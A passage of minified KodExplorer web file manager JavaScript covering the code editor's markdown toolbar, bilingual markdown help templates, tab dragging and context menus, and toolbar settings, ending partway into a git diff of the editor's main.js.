data-action='"+a+"'></a>"}}),i},r=function(e){core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(t){core.fileLink(t,function(i){var a=core.pathThis(t),n="!["+a+"]("+i+")";ace.snippetManager.insertSnippet(e,n)})})},l=function(s){var l=t[s],c=e();if(l&&c){switch(l.type){case"inline":i(c,l,s);break;case"head":a(c,l,s);break;case"insert":n(c,l,s);break;case"inlineBlock":o(c,l,s);break;case"image":r(c);break;default:}e().focus()}},c=function(e){e.find(".md-tools[data-action]").bind("click",function(){var e=$(this).attr("data-action");l(e)})},d=function(e){$.each(t,function(i){var a=t[i];if(a.title&&a.title.match(/\((.*)\)/)){var n=a.title.match(/\((.*)\)/)[1],o=n.replace("Ctrl","Command");e.commands.addCommand({name:i,bindKey:{win:n,mac:o},exec:function(e){"ace/mode/markdown"==e.session.$modeId&&l(i)}})}})};return{bindEvent:function(e,t){e.find(".toolbar .content").html(s()),c(e),"ace/mode/markdown"==t.session.$modeId&&d(t)},doAction:l}}),define("app/src/edit/tpl/markdown_help_cn.html",[],'<div class="col-xs-5 col-md-3">\n<h5>1.标题与文字格式</h5>\n<p>标题</p>\n<pre>\n# 一级标题\n## 二级标题\n### 三级标题\n#### 四级标题\n##### 五级标题\n</pre>\n<p>文字格式</p>\n<pre>\n*斜体*\n**粗体**\n***粗斜体*** \n~~删除线~~\n</pre>\n<p>水平线</p>\n<pre>\n--- \n</pre> \n<a href="http://wowubuntu.com/markdown/" target="_blank">了解更多</a>\n</div>\n\n<div class="col-xs-5 col-md-3">\n<h5>2.列表</h5>\n<p>无序列表</p>\n<pre>\n- item 1\n- item 2\n* item 3\n(可以是[减号,星号,加号]+空格)\n</pre> \n<p>有序列表</p>\n<pre>\n1. item 1 [数字+空格]\n2. item 2\n3. item 3\n - child 1\n - child 2\n</pre>\n</div>\n\n<div class="col-xs-5 col-md-4">\n<h5>3.其他</h5>\n<p>图片</p>\n<pre>\n![图片名称](http://图片网址)\n</pre> \n\n<p>连接</p>\n<pre>\n[链接名称](http://链接网址)\n&lt;http://链接网址&gt;\n</pre> \n\n<p>引用</p>\n<pre>\n> 引用\n> 折行可以不加,新起一行要加\n</pre> \n\n<p>代码</p>\n<pre>\n行内代码:`code`\n```\nvar msg = "多行代码";\nalert(msg);\n```\n</pre> \n\n<p>公式</p>\n<pre>\n行内公式 $$E=mc^2$$ ;\n\n多行公式\n$$E=mc^2$$\n\n多行公式2\n```math\nE=mc^2\n```\n</pre>\n<a href=\'javascript:core.openWindow("http://tool.oschina.net/js/mathml/index.html");\' target="_blank">编辑器</a>\n | <a href=\'http://xiang.leanote.com/post/introduction-to-mathjax-and-latex-expression\' target="_blank">公式教程</a>\n</div> \n'),define("app/src/edit/tpl/markdown_help.html",[],'<div class="col-xs-5 col-md-3">\n<h5>1.Headers and Emphasis</h5>\n<p>Headers</p>\n<pre>\n# Header 1\n## Header 2\n### Header 3\n#### Header 4\n##### Header 5\n</pre>\n<p>Emphasis</p>\n<pre>\n*Emphasis*\n**Strong**\n***Emphasis Strong*** \n~~Strikethrough~~\n</pre>\n<p>Line</p>\n<pre>\n--- \n</pre> \n<a href="http://wowubuntu.com/markdown/" target="_blank">Learn More</a>\n</div>\n\n<div class="col-xs-5 col-md-3">\n<h5>2.Lists</h5>\n<p>Unordered list</p>\n<pre>\n- item 1\n- item 2\n* item 3\n(also[- ,* ,+ )\n</pre> \n<p>Ordered list</p>\n<pre>\n1. item 1\n2. item 2\n3. item 3\n - child 1\n - child 2\n</pre>\n</div>\n\n<div class="col-xs-5 col-md-4">\n<h5>3.Others</h5>\n<p>Image</p>\n<pre>\n![Alt text](http://img.png)\n</pre> \n\n<p>Links</p>\n<pre>\n[Link text](http://url)\n&lt;http://url&gt;\n</pre> \n\n<p>Blockquotes</p>\n<pre>\n> Are you \n> ok ?\n</pre> \n\n<p>Code</p>\n<pre>\ninline code:`code`\n```\nvar msg = "Block code";\nalert(msg);\n```\n</pre> \n\n<p>LaTeX Math</p>\n<pre>\ninline $$E=mc^2$$ ;\n\nblock\n$$E=mc^2$$\n\nblock2\n```math\nE=mc^2\n```\n</pre>\n<a href=\'javascript:core.openWindow("http://tool.oschina.net/js/mathml/index.html");\' target="_blank">Math Editor</a> \n</div> \n'),define("app/src/edit/tpl/edit_tab_content.html",[],'<div class="edit_content">\n <pre id="{{uuid}}" class="ace_editor_content"></pre>\n <div class="resize hidden"></div><!-- 预览 -->\n <div class="edit_right_frame hidden">\n <div class="right_main">\n <div class="function_list_frame hidden">\n <div class="function_list_tool">\n <div class="box">\n <span> <i class="icon-code"></i>{{LNG.function_list}}</span>\n <a href="javascript:;" class="tool_close" title="{{LNG.close}}"><i class="font-icon icon-remove"></i></a>\n </div>\n <div class="function_search">\n <input type="text" placeholder="Search(ctrl+shift+e)">\n <i class="font-icon icon-remove-sign search_reset hidden"> </i>\n </div>\n </div>\n <div class="function_list_parent">\n <div class="function_list_box"></div>\n </div>\n </div>\n <!-- 函数列表 -->\n\n <div class="preview_url_frame can_right_menu hidden">\n <div class="preview_url_tool">\n <div class="input_content"><input type="text" value=""/></div>\n <div class="box">\n <a href="javascript:;" class="tool_open_url" title="{{LNG.open_ie}}"><i class="font-icon icon-external-link"></i></a>\n <a href="javascript:;" class="tool_refresh" title="{{LNG.refresh}}"><i class="font-icon icon-refresh"></i></a>\n <a href="javascript:;" class="tool_close" title="{{LNG.close}}"><i class="font-icon icon-eye-close"></i></a>\n </div>\n </div>\n <div class="preview_frame_content">\n <iframe src="" style="width:100%;height:98%;border:0;"></iframe>\n </div>\n </div>\n <!-- url浏览 -->\n\n <div class="preview_markdown_frame can_right_menu hidden">\n <div class="preview_markdown_tool">\n <div class="toolbar"><div class="content"></div></div>\n <div class="box">\n <div class="content">\n <a href="javascript:;" markdown_action="tool_markdown_menu" title="{{LNG.download}}"><i class="font-icon icon-reorder"></i></a>\n <a href="javascript:;" markdown_action="tool_markdown_max" title="{{LNG.open_ie}}"><i class="font-icon icon-resize-full"></i></a>\n <a href="javascript:;" markdown_action="tool_markdown_full" title="{{LNG.close}}"><i class="font-icon icon-columns"></i></a>\n <a href="javascript:;" markdown_action="tool_markdown_setting" title="{{LNG.more}}"><i class="font-icon icon-ellipsis-horizontal"></i></a>\n </div> \n </div>\n <div class="markdown_setting hidden">\n <ul>\n <li><a href="javascript:;" markdown_action="tool_open_url"><i class="icon-external-link"></i>{{LNG.preview}}</a></li>\n <li class="line"></li>\n <li><a href="javascript:;" markdown_action="tool_markdown_download_html"><i class="icon-cloud-download"></i>{{LNG.download}} html</a></li>\n <li><a href="javascript:;" markdown_action="tool_markdown_download_markdown"><i class="icon-cloud-download"></i>{{LNG.download}} markdown</a></li>\n <li><a href="javascript:;" markdown_action="tool_markdown_download_pdf"><i class="icon-cloud-download"></i>{{LNG.download}} pdf</a></li>\n <li class="line"></li>\n <li><a href="javascript:;" markdown_action="tool_markdown_help"><i class="icon-question"></i>{{LNG.help}}</a></li>\n </ul>\n </div>\n <div class="markdown_help container-fluid hidden">\n <h3>Markdown {{LNG.help}}</h3>\n <div class="row content"></div>\n </div>\n <div class="markdown_menu_box hidden">\n <h3>{{LNG.markdown_content}}</h3>\n <div class="content"></div>\n </div>\n </div>\n <div class="markdown_preview can_select"></div>\n </div>\n <!-- markdown -->\n </div>\n </div>\n</div>\n\n'),define("app/src/edit/taskTap",[],function(){var e=function(){$(".edit_tab .tab").live("mouseenter",function(){$(this).addClass("hover"),$(this).unbind("mousedown").mousedown(function(e){1!=e.which||$(this).hasClass("this")||$.nodeName(e.target,"A")||($(this).removeClass("hover").addClass("this"),Editor.select($(this).attr("uuid")))}).unbind("mouseup").mouseup(function(e){2==e.which&&Editor.remove($(this).attr("uuid"))})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")}).die("dblclick").live("dblclick",function(e){stopPP(e)}),$(".edit_tab").die("dblclick").live("dblclick",function(e){Editor.add(),stopPP(e)}),$(".edit_tab .tab .close").live("click",function(){var e=$(this).parent().attr("uuid");Editor.remove(e)})},t=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},i=function(){$("body").click(t).contextmenu(t),$.contextMenu({zIndex:9999,selector:".edit_tab_menu",items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh_tab",icon:"refresh",accesskey:"e"},sep1:"---------",close:{name:LNG.close,icon:"remove",className:"close_self",accesskey:"d"},close_left:{name:LNG.close_left,icon:"remove-sign",className:"close_left",accesskey:"l"},close_right:{name:LNG.close_right,icon:"remove-sign",className:"close_right",accesskey:"r"},close_others:{name:LNG.close_others,icon:"remove-sign",className:"close_others",accesskey:"o"},sep2:"--------",open_the_path:{name:LNG.open_the_path,icon:"plus",className:"edit_open_the_path",accesskey:"n"},preview:{name:LNG.preview,icon:"globe",className:"edit_preview",accesskey:"p"}},callback:function(e,t){var i=t.$trigger,a=i.attr("uuid");switch(e){case"refresh":Editor.refresh(a);break;case"close":Editor.remove(a);break;case"close_left":var n=$(".edit_tab .tabs .tab").index(i);$(".edit_tab .tabs .tab:lt("+n+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close_right":var n=$(".edit_tab .tabs .tab").index(i);$(".edit_tab .tabs .tab:gt("+n+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close_others":$(".edit_tab .tabs .tab").each(function(){var e=$(this).attr("uuid");e!=a&&Editor.remove(e)});break;case"open_the_path":var o=i.attr("title");if(""==o)return Tips.tips(LNG.not_exists,"warning"),void 0;var s=core.pathFather(o),r=ShareData.frameTop();r.core.openPath(s);break;case"preview":Toolbar.doAction("preview");break;default:}}})},a=function(){var e,t,i,a,n=!1,o=!1,s=0,r=0,l=0,c=0,d=0,p=0,u=0,f=0;$(".edit_tab .tab").die("mousedown").live("mousedown",function(t){$.nodeName(t.target,"A")||(e=$.nodeName(t.target,"SPAN")?$(t.target).parent():$(this),1==t.which&&(n=!0,this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(e){v(e),this.releaseCapture&&this.releaseCapture()})))});var h=function(a){o=!0,s=a.pageX,l=a.pageY,$tab_parent=$(".edit_tab"),t=$(".edit_tab .tab"),$(".draggable-dragging").remove(),i=e.clone().addClass("draggable-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),r=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width")),c=$sizeInt(t.css("height"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),h=a.clientX-s+r;$("body").prepend("<div class='dragMaskView'></div>"),i.css({width:d+"px",top:n,left:h}),e.css("opacity",0)},m=function(a){if(n){0==o&&h(a);var u=a.clientX-s+r,f=a.clientY-l+c;i.css({left:u,top:f}),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(u>t&&t+d/2+p>u){if(e.attr("uuid")==$(this).attr("uuid"))return;_($(this).attr("uuid"),"left")}if(u>t-d/2+p&&t>u){if(e.attr("uuid")==$(this).attr("uuid"))return;_($(this).attr("uuid"),"right")}})}},_=function(i,n){if(!e.is(":animated")||a!=i){a=i,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".edit_tab .tab");var o=e.width(),s=$(".edit_tab .tab_"+i),r=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(s).css("width","0px"):(e.before(s).css("width","0px"),s.before(r)),e.animate({width:o+"px"},animate_time),r.animate({width:"0px"},animate_time,function(){$(this).remove(),t=$(".edit_tab .tab")})}},v=function(){if(n=!1,o=!1,startTime=0,$(".dragMaskView").remove(),Editor.current()&&Editor.current().focus(),void 0!=i){var t=e.get(0).getBoundingClientRect().left,a=e.get(0).getBoundingClientRect().top;i.animate({left:t+"px",top:a+"px"},animate_time,function(){e.css("opacity",1),$(this).remove()})}}},n=function(e,t,i){"remove"==e&&t.removeClass("edit_tab_menu");var a=1.4*animate_time,n=150,o=n,s=$(".edit_tab .tab.edit_tab_menu"),r=$sizeInt($(".edit_tab .tabs").width()),l=$sizeInt(s.css("margin-right"))+$sizeInt(s.css("border-right")),c=$sizeInt($(".edit_tab .add").css("width"))+30,d=s.length,p=Math.floor((r-c)/(n+l));switch(d>p&&(o=Math.floor((r-c)/d)-l),e){case"add":$(".edit_tab .tabs .this").css({"margin-top":"30px",width:o}).stop(1,1).animate({"margin-top":"0px"},a),s.animate({width:o+"px"},a);break;case"remove":void 0!=i&&Editor.select(i),t.stop(1,1).animate({width:"0","margin-top":"+=30"},a,function(){t.remove()}),s.stop(1,1).animate({width:o+"px"},a);break;case"resize":s.css("width",o+"px");break;default:}};return{rightMenu:{hidden:t},resetWidth:n,init:function(){e(),a(),i()}}}),define("app/src/edit/toolbar",[],function(){var e=function(){i(),$(".toolMenu").bind("click mouseup",stopPP),$(".toolMenu").on("mousedown",function(){$(".toolMenu").removeClass("select"),$(this).addClass("select"),$(this).contextMenu({action:e})});var e=function(e,t){if(t.parent().hasClass("top_toolbar"))e.css({left:t.offset().left-4,top:t.outerHeight()-1});else if(t.parent().hasClass("bottom_toolbar")){var i=t.offset().left-e.outerWidth()+t.outerWidth()-5;e.css({left:i,top:t.offset().top-e.outerHeight()})}e.find("input").length>=1&&setTimeout(function(){e.find("input").focus()},10)};$.contextMenu({selector:".menuViewGotoline",trigger:"none",callback:n,items:{gotoline:{name:LNG.goto,className:"disable gotoline_input",type:"text"}}}),$.contextMenu({selector:".menuViewTab",trigger:"none",callback:n,items:{soft_tab:{name:"Soft Tabs (spaces)",className:"soft_tab"},sep1:"---------",tab_size_2:{name:"Tab with:2",className:"tab_size_set tab_size_2"},tab_size_3:{name:"Tab with:3",className:"tab_size_set tab_size_3"},tab_size_4:{name:"Tab with:4",className:"tab_size_set tab_size_4"},tab_size_8:{name:"Tab with:8",className:"tab_size_set tab_size_8"},sep2:"---------",convert_to_space:{name:"Convert To Space",className:"convert_to_space"},convert_to_tab:{name:"Convert To Tabs",className:"convert_to_tab"}}});for(var t=G.code_font_all.split(","),a={},s=0;t.length>s;s++){var r=t[s],l=replaceAll(r," ","_");a["set_font_family_"+r]={name:r,className:"set_font_family_"+l}}$.contextMenu({selector:".menuViewSetting",trigger:"none",callback:n,items:{tools:{name:LNG.tools,icon:"ellipsis-horizontal",accesskey:"m",items:{preview:{name:LNG.preview+"<b>Ctrl+Shift+S</b>",icon:"edit"},open_ie:{name:LNG.open_ie,icon:"external-link",accesskey:"b"},sep1:"---------",beautify_html:{name:"html "+LNG.beautify_code,icon:"angle-right"},beautify_css:{name:"css "+LNG.beautify_code,icon:"angle-right"},beautify_js:{name:"js "+LNG.beautify_code,icon:"angle-right"},sep10:"---------",beautify_php:{name:"php "+LNG.beautify_code,icon:"angle-right"}}},sep1:"---------",function_list:{name:LNG.function_list+"<b>Ctrl+Shift+E</b>",className:"function_list"},show_gutter:{name:LNG.show_gutter,className:"show_gutter"},auto_wrap:{name:LNG.wordwrap,className:"auto_wrap"},display_char:{name:LNG.char_all_display,className:"display_char"},sep2:"---------",font_family:{name:LNG.font_family,icon:"italic",className:"code_font_family_list",accesskey:"m",items:a},ace_mode:{name:LNG.keyboard_type,icon:"code",accesskey:"m",items:{keyboard_type_ace:{name:"Default",className:"keyboard_type_ace"},keyboard_type_vim:{name:"vim",className:"keyboard_type_vim"},keyboard_type_emacs:{name:"emacs",className:"keyboard_type_emacs"}}},sep3:"---------",help:{name:LNG.help,icon:"question",items:{shortcut:{name:LNG.shortcut,icon:"keyboard"},about:{name:LNG.about,icon:"info-sign"},emmet:{name:"Emmet help",icon:"code"},sep4:"-----------",learnMore:{name:LNG.learn_more,icon:"external-link"}}}}}),$(".tools [action]").bind("click",function(e){var t=$(this).attr("action");return n(t),Editor.current()&&Editor.current().focus(),stopPP(e),!1}),$(".tab_size_set").click(function(){var e=$(this).text().split(":");Editor.saveConfig("tab_size",e[1]),Editor.current()&&Editor.current().focus(),Editor.current().execCommand("convertIndent","reset_size")}),$("ul.code_font_family_list .context-menu-item").click(function(){Editor.saveConfig("font_family",$(this).find("span").html(),""),Editor.current()&&Editor.current().focus(),o()}),$("body").click(function(e){try{$(".toolMenu").removeClass("select"),window.parent.rightMenu.hidden(),e&&$(e.target).is("textarea")||$(e.target).is("input")||0!=$(e.target).parents(".right_main").length||Editor.current()&&Editor.current().focus()}catch(e){}}),$(".gotoline_input input").keyup(function(){Editor.current().gotoLine($(this).val())})},t=function(){var e=Editor.aceModeList.modes,t='<ul class="dropdown-menu code_mode_list hidden">';t+='<li class="list_input"><input type="text" value="" name="menu_mode_input" /></li>';for(var i=0;e.length>i;i++)t+='<li class="list_cell" mode_name="'+e[i].name+'">'+e[i].caption+"</li>";$(t+"<ul>").appendTo("body");var a=function(){$(".file_mode").removeClass("select"),$(".code_mode_list").addClass("hidden"),$(".code_mode_list input").val(""),$(".code_mode_list .list_cell").removeClass("hidden").removeClass("hover");var e=$(".code_mode_list .selected").attr("mode_name"),t=Editor.current().kod.mode;Editor.current().getSession().setMode("ace/mode/"+e),Editor.current().kod.mode=e,Editor.current()&&Editor.current().focus(),o(),"markdown"==e&&n("preview"),"markdown"==t&&e!=t&&n("previewClose")};$(".file_mode").mousedown(function(){$(".file_mode").addClass("select"),$(".code_mode_list").removeClass("hidden");var e=$(window).width()-$(".file_mode").offset().left-$(".file_mode").outerWidth();$(".code_mode_list").css("right",e)}).mouseup(function(){$(".code_mode_list input").textFocus(),setTimeout(function(){$(".code_mode_list input").focus()},50)}),$("body").mousedown(function(e){!$(".file_mode").hasClass("select")||0!=$(e.target).parents(".code_mode_list").length||$(e.target).hasClass("file_mode")||$(e.target).hasClass("code_mode_list")||a()}),$(".code_mode_list input").keyup(function(e){var t=$(".code_mode_list .list_cell:not(.hidden)"),i=t.index($(".code_mode_list .hover"));switch(e.keyCode){case 38:if(i>0){$(".code_mode_list .hover").removeClass("hover");var n=$(t.get(i-1)).addClass("hover"),o=$(".code_mode_list");1==n.length&&(o.scrollTop(n.offset().top+o.scrollTop()-o.offset().top-50),Editor.current().getSession().setMode("ace/mode/"+n.attr("mode_name")))}return stopPP(e),void 0;case 40:if(t.index(".hover")<t.length-1){$(".code_mode_list .hover").removeClass("hover");var n=$(t.get(i+1)).addClass("hover"),o=$(".code_mode_list");1==n.length&&(o.scrollTop(n.offset().top+o.scrollTop()-o.offset().top-50),Editor.current().getSession().setMode("ace/mode/"+n.attr("mode_name")))}return stopPP(e),void 0;case 27:return a(),void 0;case 13:return $(".code_mode_list .selected").removeClass("selected"),$(".code_mode_list .hover").addClass("selected"),a(),void 0;default:}var s=$(this).val().toLocaleLowerCase(),r="hidden",l="";$(".code_mode_list .list_cell").each(function(){var e=$(this).removeClass("hover").html().toLocaleLowerCase();-1!=e.indexOf(s)?(""==l&&(l=$(this).addClass("hover"),Editor.current().getSession().setMode("ace/mode/"+$(this).attr("mode_name"))),$(this).removeClass(r)):$(this).addClass(r)})}),$(".code_mode_list .list_cell").mouseenter(function(){$(".code_mode_list .hover").removeClass("hover"),$(this).addClass("hover"),Editor.current().getSession().setMode("ace/mode/"+$(this).attr("mode_name")),$(this).unbind("click").click(function(){$(this).parent().find(".list_cell").removeClass("selected"),$(this).addClass("selected"),a()})}).mouseleave(function(){$(this).removeClass("hover"),Editor.current().getSession().setMode("ace/mode/"+Editor.current().kod.mode)})},i=function(){t(),$(".top_boolbar a").attr("draggable","false"),$(".bottom_toolbar a").attr("draggable","false");for(var e=[12,13,14,15,16,18,20,22,24,26,28,32],i=G.code_theme_all.split(","),a={},o={},s=0;e.length>s;s++){var r=e[s];a["set_code_font-"+r]={name:r+"px",className:"set_code_font_"+r}}for(var s=0;i.length>s;s++){var l=i[s],c={name:l,className:"set_code_theme_"+l};"ambiance"==l&&(c.className+=" line_top"),o["set_code_theme-"+l]=c}$.contextMenu({selector:".menuViewFont",trigger:"none",className:"code_font_list",callback:n,items:a}),$.contextMenu({selector:".menuViewTheme",trigger:"none",className:"code_theme_list",callback:n,items:o}),$("ul.code_font_list .context-menu-item").mouseenter(function(){Editor.current().setFontSize($(this).text()),$(this).unbind("click").click(function(){var e=$(this).text();Editor.saveConfig("font_size",e),Editor.current()&&Editor.current().focus()})}).mouseleave(function(){Editor.current().setFontSize(G.code_config.font_size)});var d=function(e){Editor.isBlackTheme(e)?$("body").addClass("code_theme_black"):$("body").removeClass("code_theme_black")};$("ul.code_theme_list .context-menu-item").mouseenter(function(){var e=$(this).find("span").html();d(e),Editor.current()&&Editor.current().setTheme("ace/theme/"+e),$(this).unbind("click").click(function(){var e=$(this).find("span").html();Editor.saveConfig("theme",e),Editor.current()&&Editor.current().focus(),d(e)})}).mouseleave(function(){Editor.current()&&Editor.current().setTheme("ace/theme/"+G.code_config.theme),d(G.code_config.theme)})},a=function(e){var t=Editor.current().getValue(),i=""==Editor.current().session.getTextRange()?!0:!1;i||(t=Editor.current().session.getTextRange());var a={brace_style:"collapse",break_chained_methods:!1,indent_char:" ",indent_scripts:"keep",indent_size:"4",keep_array_indentation:!0,preserve_newlines:!0,space_after_anon_function:!0,space_before_conditional:!0,unescape_strings:!1,wrap_line_length:"120"};switch(e){case"beautify_html":t=html_beautify(t,a);break;case"beautify_css":t=css_beautify(t);break;case"beautify_js":t=js_beautify(t);break;case"beautify_php":return Editor.current().execCommand("phpBeautify"),void 0}i?Editor.current().setValue(t):Editor.current().insert(t)},n=function(e){if("newfile"==e)return Editor.add(),void 0;if(Editor.current())switch(e){case"fullscreen":$(".icon-resize-full").toggleClass("icon-resize-small"),ShareData.frameTop("",function(e){e.core.editorFull()});break;case"save":Editor.save();break;case"saveall":Editor.saveall();break;case"undo":Editor.current().undo();break;case"redo":Editor.current().redo();break;case"refresh":Editor.refresh();break;case"delete":Editor.current().execCommand("del");break;case"selectAll":Editor.current().execCommand("selectall");break;case"startAutocomplete":Editor.current().execCommand("startAutocomplete");break;case"search":Editor.current().execCommand("find");break;case"searchReplace":Editor.current().execCommand("replace");break;case"auto_wrap":Editor.saveConfig("auto_wrap");break;case"display_char":Editor.saveConfig("display_char");break;case"show_gutter":Editor.saveConfig("show_gutter");break;case"setting":Editor.doAction("setting");break;case"soft_tab":Editor.saveConfig("soft_tab");break;case"convert_to_space":Editor.current().execCommand("convertIndent","to_space");break;case"convert_to_tab":Editor.current().execCommand("convertIndent","to_tabs");break;case"auto_complete":Editor.saveConfig("auto_complete");break;case"keyboard_type_ace":Editor.saveConfig("keyboard_type","ace");break;case"keyboard_type_vim":Editor.saveConfig("keyboard_type","vim");break;case"keyboard_type_emacs":Editor.saveConfig("keyboard_type","emacs");break;case"beautify_html":a(e);break;case"beautify_css":a(e);break;case"beautify_js":a(e);break;case"beautify_php":a(e);break;case"open_ie":url=core.path2url(Editor.current().kod.filename),window.open(url);break;case"function_list":var t=Editor.current().kod.preview;t.openFunctionList();break;case"preview":var t=Editor.current().kod.preview;t.previewForce();break;case"previewClose":var t=Editor.current().kod.preview;t.close();break;case"close":Editor.remove();break;case"about":core.setting("about");break;case"emmet":window.open("http://docs.emmet.io/");break;case"shortcut":Editor.current().execCommand("showKeyboardShortcuts");break;case"learnMore":window.open("http://kalcaddle.com/editor.html"); break;default:}},o=function(){var e=G.code_config,t=["function_list","auto_complete","auto_wrap","display_char","soft_tab","show_gutter"];$(".context-menu-root .context-menu-item").removeClass("selected");for(var i=0;t.length>i;i++)"1"==e[t[i]]&&$(".context-menu-root ."+t[i]).addClass("selected");$(".set_code_theme_"+e.theme).addClass("selected"),$(".set_code_font_"+e.font_size.substr(0,2)).addClass("selected"),$(".tab_size_"+e.tab_size).addClass("selected"),$(".keyboard_type_"+e.keyboard_type).addClass("selected");var a=replaceAll(e.font_family," ","_");if($(".set_font_family_"+a).addClass("selected"),Editor.current()){var n=Editor.aceModeList.modesByName[Editor.current().kod.mode].caption;$(".code_mode_list .list_cell").removeClass("selected").removeClass("hidden"),$(".code_mode_list [mode_name="+Editor.current().kod.mode+"]").addClass("selected"),$(".bottom_toolbar .file_mode").html(n),$(".bottom_toolbar .config_tab").html("Tabs:"+e.tab_size)}};return{doAction:n,toolbarSelected:o,init:function(){e(),Mousetrap.bind(["ctrl+s","command+s"],function(e){e.preventDefault(),e.returnvalue=!1,Editor.save()}),Mousetrap.bind(["ctrl+shift+e","command+shift+e"],function(e){e.preventDefault(),e.returnvalue=!1,Toolbar.doAction("function_list")}),Mousetrap.bind(["f5"],function(){Editor.refresh()})}}}); \ No newline at end of file diff --git a/static/js/app/src/editor/main.js b/static/js/app/src/editor/main.js index aec93d2..b74dd24 100755 --- a/static/js/app/src/editor/main.js +++ b/static/js/app/src/editor/main.js @@ -1,7 +1,7 @@ -/*! power by kodexplorer ver3.42(2017-04-08) [build 1491589321217] */ -define("app/src/editor/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/taskTap","../../common/core","../../common/rightMenu","./ui","../explorer/path","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../../common/tree","../explorer/fileListResize"],function(e){Config={TreeId:"folderList",AnimateTime:200,pageApp:"editor",treeAjaxURL:"./index.php?explorer/treeList&app=editor"},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../common/rightMenu"),ui=e("./ui"),ui.path=e("../explorer/path"),tree=e("../../common/tree"),ui.fileListResize=e("../explorer/fileListResize"),ui.tree=tree,$(document).ready(function(){core.init(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),G.project.length>1&&(Config.treeAjaxURL+="&project="+urlEncode(G.project)),ui.init(),ui.fileListResize.init(),TaskTap.init(),rightMenu.initEditor()})}),define("app/common/taskTap",[],function(){var e={},t="",i=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var t=e.attr("id"),i=$.dialog.list[t];if(void 0==i)return c(t),void 0;var a=$("."+t);"hidden"==a.css("visibility")?i.display(!0).zIndex():a.hasClass("aui_state_focus")?i.display(!1):i.zIndex()},o=function(){var e,t,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){v(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&n(e)}))});var h=function(i){s=!0,r=!0,l=i.pageX,$tab_parent=$(".task_tab"),t=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=i.clientX-l+c;$("body").prepend("<div class='dragMaskView'></div>"),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(i){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(i);var n=i.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(n>t&&t+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"left")}if(n>t-d/2+p&&t>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"right")}}))}},_=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},i),l.animate({width:"0px"},i,function(){$(this).remove(),t=$(".task_tab .tab")})}},v=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},i,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,a=t,n=t+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},i);case"close":o.animate({width:a+"px"},i);break;case"resize":o.css("width",a+"px");break;default:}},r=function(t,i){$(".task_tab").removeClass("hidden");var a=i.replace(/<[^>]+>/g,""),n='<div class="tab taskBarMenu" id="'+t+'" title="'+a+'">'+i+"</div>";$(n).insertBefore(".task_tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),t=e},c=function(t){$(".task_tab #"+t).animate({width:0},i,function(){if($(".task_tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('<i 